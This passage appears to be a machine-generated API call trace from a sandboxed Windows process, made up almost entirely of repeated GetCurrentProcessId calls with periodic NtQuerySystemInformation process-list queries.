returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.431] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0115.432] GetCurrentProcessId () returned 0xd70 [0116.124] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1bcb8) returned 0x0 [0116.131] GetCurrentProcessId () returned 0xd70 [0116.131] GetCurrentProcessId () returned 0xd70 [0116.131] GetCurrentProcessId () returned 0xd70 [0116.131] GetCurrentProcessId () returned 0xd70 [0116.131] GetCurrentProcessId () returned 0xd70 [0116.131] GetCurrentProcessId () returned 0xd70 [0116.131] GetCurrentProcessId () returned 0xd70 [0116.131] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.132] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.133] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.134] GetCurrentProcessId () returned 0xd70 [0116.649] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1ba18) returned 0x0 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.650] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.651] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.652] GetCurrentProcessId () returned 0xd70 [0116.653] GetCurrentProcessId () returned 0xd70 [0116.653] GetCurrentProcessId () returned 0xd70 [0116.653] GetCurrentProcessId () returned 0xd70 [0116.653] GetCurrentProcessId () returned 0xd70 [0116.653] GetCurrentProcessId () returned 0xd70 [0116.653] GetCurrentProcessId () returned 0xd70 [0116.653] GetCurrentProcessId () returned 0xd70 [0116.653] GetCurrentProcessId () returned 0xd70 [0116.653] GetCurrentProcessId () returned 0xd70 [0116.653] GetCurrentProcessId () returned 0xd70 [0116.653] GetCurrentProcessId () returned 0xd70 [0116.653] GetCurrentProcessId () returned 0xd70 [0116.653] GetCurrentProcessId () returned 0xd70 [0116.653] GetCurrentProcessId () returned 0xd70 [0116.653] GetCurrentProcessId () returned 0xd70 [0116.653] GetCurrentProcessId () returned 0xd70 [0116.653] GetCurrentProcessId () returned 0xd70 [0117.187] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1ba18) returned 0x0 [0117.188] GetCurrentProcessId () returned 0xd70 [0117.188] GetCurrentProcessId () returned 0xd70 [0117.188] GetCurrentProcessId () returned 0xd70 [0117.188] GetCurrentProcessId () returned 0xd70 [0117.188] GetCurrentProcessId () returned 0xd70 [0117.188] GetCurrentProcessId () returned 0xd70 [0117.188] GetCurrentProcessId () returned 0xd70 [0117.188] GetCurrentProcessId () returned 0xd70 [0117.188] GetCurrentProcessId () returned 0xd70 [0117.188] GetCurrentProcessId () returned 0xd70 [0117.188] GetCurrentProcessId () returned 0xd70 [0117.188] GetCurrentProcessId () returned 0xd70 [0117.188] GetCurrentProcessId () returned 0xd70 [0117.188] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.189] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.190] GetCurrentProcessId () returned 0xd70 [0117.191] GetCurrentProcessId () returned 0xd70 [0117.191] GetCurrentProcessId () returned 0xd70 [0117.191] GetCurrentProcessId () returned 0xd70 [0117.191] GetCurrentProcessId () returned 0xd70 [0117.191] GetCurrentProcessId () returned 0xd70 [0117.191] GetCurrentProcessId () returned 0xd70 [0117.191] GetCurrentProcessId () returned 0xd70 [0117.191] GetCurrentProcessId () returned 0xd70 [0117.191] GetCurrentProcessId () returned 0xd70 [0117.191] GetCurrentProcessId () returned 0xd70 [0117.191] GetCurrentProcessId () returned 0xd70 [0117.191] GetCurrentProcessId () returned 0xd70 [0117.191] GetCurrentProcessId () returned 0xd70 [0117.191] GetCurrentProcessId () returned 0xd70 [0117.192] GetCurrentProcessId () returned 0xd70 [0117.192] GetCurrentProcessId () returned 0xd70 [0117.192] GetCurrentProcessId () returned 0xd70 [0117.192] GetCurrentProcessId () returned 0xd70 [0117.192] GetCurrentProcessId () returned 0xd70 [0117.192] GetCurrentProcessId () returned 0xd70 [0117.192] GetCurrentProcessId () returned 0xd70 [0117.809] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1ba18) returned 0x0 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.811] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.812] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.813] GetCurrentProcessId () returned 0xd70 [0117.814] GetCurrentProcessId () returned 0xd70 [0117.814] GetCurrentProcessId () returned 0xd70 [0117.814] GetCurrentProcessId () returned 0xd70 [0117.814] GetCurrentProcessId () returned 0xd70 [0117.814] GetCurrentProcessId () returned 0xd70 [0117.814] GetCurrentProcessId () returned 0xd70 [0117.814] GetCurrentProcessId () returned 0xd70 [0117.814] GetCurrentProcessId () returned 0xd70 [0117.814] GetCurrentProcessId () returned 0xd70 [0117.814] GetCurrentProcessId () returned 0xd70 [0118.415] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1bea8) returned 0x0 [0118.422] GetCurrentProcessId () returned 0xd70 [0118.422] GetCurrentProcessId () returned 0xd70 [0118.422] GetCurrentProcessId () returned 0xd70 [0118.422] GetCurrentProcessId () returned 0xd70 [0118.422] GetCurrentProcessId () returned 0xd70 [0118.422] GetCurrentProcessId () returned 0xd70 [0118.422] GetCurrentProcessId () returned 0xd70 [0118.422] GetCurrentProcessId () returned 0xd70 [0118.422] GetCurrentProcessId () returned 0xd70 [0118.422] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.423] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.424] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 0xd70 [0118.425] GetCurrentProcessId () returned 